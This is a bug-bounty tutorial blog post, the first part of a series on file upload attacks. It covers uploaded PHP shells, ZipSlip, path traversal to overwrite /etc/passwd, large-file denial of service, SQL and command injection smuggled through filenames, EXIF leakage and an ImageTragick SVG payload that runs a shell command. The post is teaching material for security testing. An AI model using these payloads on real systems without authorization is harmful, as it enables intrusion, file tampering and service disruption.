File Upload Attacks (Part 1)

EXPLOITATION < HTTPS://BLOG.YESWEHACK.COM/CATEGORY/YESWERHACKERS/EXPLOITATION/>

YESWERHACKERS < HTTPS://BLOG.YESWEHACK.COM/CATEGORY/YESWERHACKERS/>

12/05/2021 < https://blog.yeswehack.com/yeswerhackers/exploitation/file-upload-attacks-part-1/>

READING TIME 7 min

SHARE (/#twitter) (/#linkedin)

File upload is one of the most common functionalities application has to offer. This functionality, however, is implemented in many different forms based on the application's use case. While some applications only allow uploading a profile picture and support only image-related extensions, on the other hand, some applications support other extensions based on their business case. Storing and retrieving these files on the server-side is again a huge task and required to be handled with caution.

Due to the involved complexity and level of caution that is required to implement a file upload functionality, this becomes one of the interesting attack vectors and can open doors to multiple critical security vulnerabilities such as Remote Code Execution. In this blog series, we will be focusing on various File Upload Attacks, Bypasses, and some robust mitigation around them from both an attacker's well a defender's perspective.

File Upload Attacks

In the first part of the file upload attack series, we will look at an attack surface that one gets when there's a file upload functionality and we will focus on some of the interesting file upload attacks.

The below mindmap gives a picture of various attacks that are possible when an application implements File Upload Functionality. This series of blogs will be based on this mindmap itself.

Remote Code Execution

One of the most interesting attacks that come into mind whenever there is a file upload functionality is Remote Code Execution. There are several ways to execute a code execution with malicious files, one of the most common is to upload a shell and

gain further access.

Let's assume a scenario where a PHP based application provides a file upload functionality and stores the files as it is on the server which can later be accessed.

In order to achieve remote code execution, one can try the following steps:

1. Create a PHP shell or use an existing shell.
2. Upload the shell (bypassing restrictions, if any)
3. After successful upload, navigate to the shell path, for example, https://testweb.com/files/shell.php to see if it is accessible.
4. If the shell is accessible, based on how the shell gets executed, attempt for the shell execution, for example, https://testweb.com/files/shell.php?cmd=whoami

Note: We will talk about the file upload bypass techniques in the next part of the file upload attack series.

Unrestricted File Upload

ZipSlip Attack

ZipSlip attack is an interesting attack vector that can be tested when the application accepts archives in file upload functionality and later unarchive it for further processing.

According to synk.io < https://github.com/snyk/zip-slip-vulnerability> : Zip Slip is a widespread critical archive extraction vulnerability, allowing attackers to write arbitrary files on the system, typically resulting in remote command execution. It was discovered and responsibly disclosed by the Snyk Security team ahead of public disclosure on 5th June 2018, and affects thousands of projects, including ones from HP, Amazon, Apache, Pivotal, and many more.

This repository: https://github.com/snyk/zip-slip-vulnerability < https://github.com/snyk/zip-slip-vulnerability> contains all the information about this attack such as the affected libraries, projects, and other relative information.

To check for this issue, one can follow below simple steps:

1. Create a malicious file using this tool: https://github.com/ptoomey3/evilarc < https://github.com/ptoomey3/evilarc>
2. Upload the malicious file to the archive upload functionality and observe how the application responds.

File Overwrite Attack

File overwrite is an interesting attack during the file upload when a user can control and arbitrarily set the path where the file should be stored. This can be considered similar to the Zip Slip and Path Traversal attack but assuming the scenario where it is possible to directly upload a file and change its path to overwrite an existing system file, this is kept as a separate issue.

To check for this issue, one can follow below simple steps:

1. Create any system file such as /etc/passwd
2. Navigate to the file upload functionality and upload this file while capturing the request with Burp Suite.

```
Original Request POST /upload
Host: testweb.com
....
other headers
....filename=/etc/passwd&content={file_content}
```

3. Now modify this request by changing the filename parameter to ../../../../etc/passwd

```
Modified RequestPOST /upload
Host: testweb.com
....
other headers
....filename=../../../../etc/passwd&content={file_content}
```

4. If the upload is successful, refresh the application and observe if there's any misbehavior or crashes to confirm the vulnerability.

Path Traversal Attack

This attack may look similar to the attack mentioned above, i.e. File Overwrite attack, however, in this scenario we are assuming that it is not possible to overwrite a system file due to implemented checks that can not be bypassed. In this situation, we will attempt to create a file, outside the intended directory that may allow an attacker to injection malicious files, cause misbehavior in the application, or other security implications.

To check for this issue, one can follow below simple steps:

1. Navigate to the file upload functionality and upload a file while capturing the request with Burp Suite.
   [Assume that the application stores files in the following directory: testweb.com/files/external/upload/folder/test/<uploaded_file>

```
Original Request
POST /upload
Host: testweb.com
....
other headers
....path=/folder/test/&filename=test.png&content={file_content}
```

2. Now modify this request by changing the filename parameter to ../../../test.png or by changing the path parameter to /folder/test/../../../

```
Modified Request - 1

POST /upload
Host: testweb.com
....
other headers
....path=/folder/test/&filename=../../../test.png&content={file_content}
=====================================================================
Modified Request - 2

POST /upload
Host: testweb.com
....
other headers
....path=/folder/test/../../../&filename=test.png&content={file_content}
```

3. If the upload is successful, try to access the file outside the expected directory and if it is possible to access the file, it can further be used to perform other attacks.

Large File Denial of Service

Often there is a size restriction associated with the File Upload functionality that may range from 5 MB to 200 MB or even smaller/larger depending upon the application logic. However, in certain situations, if this limit is not defined or the proper validation checks are not present, it may allow an attacker to upload a file with a relatively large size resulting in resource consumption that may lead to a Denial of Service situation.

To check for this issue, one can follow below simple steps:

1. Create a file that is larger in the size than defined upper limit. For example, an image file having a 500 MB file size.
2. Now, upload the file, and if the application accepts the file and starts processing it, browser the application from another device to see if there's any sluggish behavior or connectivity error.

Server-Side Injection Attack

As we have observed so far that the file upload functionality is really interesting and can lead to multiple security vulnerabilities. It is possible to test for Server-Side Injection attacks such as SQL Injection, Command Injection, or others using the File Upload feature.

The most unnoticed or ignored method is to test the filename for testing server-side injection vulnerabilities. When the application is unsafely handling the uploaded file, storing or processing it on the server-side, a malformed filename containing some payload may get executed and result in a server-side injection vulnerability.

To check for this issue, one can follow below simple steps:

1. Let's assume an application with file upload functionality is having the following request structure.

```
Original Request
---------------
POST /upload
Host: testweb.com
....
other headers
....someparam=somecontent&filename=test.png&content={file_content}
```

2. Now, it is possible to modify this request's filename parameter and use the server-side injection payload at $test$.png position for multiple attack scenarios like below:

```
Modified Request - SQL Injection
---------------
POST /upload
Host: testweb.com
....
other headers
....someparam=somecontent&filename=sleep(10)-- -.png&content=
{file_content}

# If the defined sleep (response delay) is observed, the application
vulnerable to SQL Injection.
=========================================================================
Modified Request - Command Injection
---------------
POST /upload
Host: testweb.com
....
other headers
....someparam=somecontent&filename=; sleep 10;.png&content=
{file_content}

# If the defined sleep (response delay) is observed, the application
vulnerable to Command Injection.
=========================================================================
```

Similarly, this can also be tested for the Client-Side Injection issues like Cross-Site Scripting, which we will discuss in detail in the next part of this blog series.

Metadata Leakage

Metadata which is often termed as Data about Data or simply put, let's say you have clicked a picture using a Digital Camera, when this image is processed and saved on the storage device, some properties are added to the file such as Author, Location, Device Information and other information as applicable to describe the image's information. This is basically data about data or our friend metadata.

One of the simplest and most discovered metadata leakage issues is in the Image Upload Functionalities. This issue is more commonly known as EXIF Metadata Leakage/Information Disclosure. However, the Metadata Leakage is not just limited to images but can be found in other file formats such as PDFs. For this blog series and to gain understanding, let's look at how to identify the EXIF metadata leakage in the image upload functionalities.

First of all, it is essential to understand that not all image upload EXIF leakage is considered sensitive. If there is a user profile picture or private pictures that an attacker can access and enumerate the EXIF metadata such as Location, Device Information, etc. it can be of low impact issue.

To check for this issue, one can follow below simple steps:

1. Navigate to the https://testweb.com/user/12345 and right-click on the Profile Picture and copy the Image URL.
2. Now, use http://exif.regex.info < http://exif.regex.info/exif.cgi> /exif.cgi < http://exif.regex.info/exif.cgi> to check the image for EXIF data leakage.
3. For testing purpose, the following GitHub Repository can be used to find images having EXIF Metadata: https:// < https://github.com/ianare/exif-samples> github.com/ianare/exif-samples < https://github.com/ianare/exif-samples>

ImageTragik Attack // ImageMagick Library Attacks

ImageMagick is one of the widely used packages by the web applications to process images. However, security researchers identified multiple loopholes in this library, one of which leads to Remote Code Execution when a malicious user-submitted image is processed by the application using vulnerable ImageMagick Library.

There are multiple interesting CVEs that have public exploits available and can be tested against the target. A detailed vulnerability analysis along with the exploitation for these issues is available here < https://imagetragick.com/> . < https://imagetragick.com/>

> CVE-2016–3714 — Insufficient shell characters filtering leading to (potentially remote) code execution
>
> CVE-2016–3715 — File deletion
>
> CVE-2016–3716 — File moving
>
> CVE-2016–3717 — Local file read
>
> CVE-2016–3718 — SSRF

To check for this issue, one can follow the below steps [Assuming the ImageMagick Library is in use]:

1. Craft a malformed `exploit.svg` a file like this:

```
<?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD
SVG 1.1//EN"  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd";> <svg
width="640px" height="480px" version="1.1"
xmlns="http://www.w3.org/2000/svg"; xmlns:xlink=
"http://www.w3.org/1999/xlink";> <image
xlink:href="https://example.com/image.jpg&amp;quot;|ls &amp;quot;-la" x="0"
y="0" height="640px" width="480px"/> </svg>
```

2. Upload this file using the upload functionality.

3. At the back, the ImageMagick library will try to process the file by running `convert exploit.svg exploit.png` and during this, the command defined in the `exploit.svg` i.e. `ls -la` will be executed.

Similarly, the other vulnerabilities can also be exploited and a great explanation is available here < https://imagetragick.com/> . < https://imagetragick.com/>

End Notes

This is all for the Part-1 of File Upload attack series and we hope you enjoyed reading & learned something new that will help in your bug hunting journey. Stay tuned for Part-2 of the File Upload attack series for more interesting attack vectors. Happy Hacking!

JOIN US
< HTTPS://YESWEHACK.COM/AUTH/REGISTER>

← YesWeBurp 2.0 : A new version of our Burp Suite extension is available < https://blog.yeswehack.com/yeswerhackers/yesweburp-new-version-burp-suite-extension-available/>

PimpMyBurp #4: Burp Suite extensions that should get your attention! < https://blog.yeswehack.com/yeswerhackers/pimpmyburp/pimpmyburp-4-burp-suite-extensions-should-get-your-attention/>

Follow us: < https://twitter.com/yeswehack>

< https://www.linkedin.com/company/yes-we-hack/>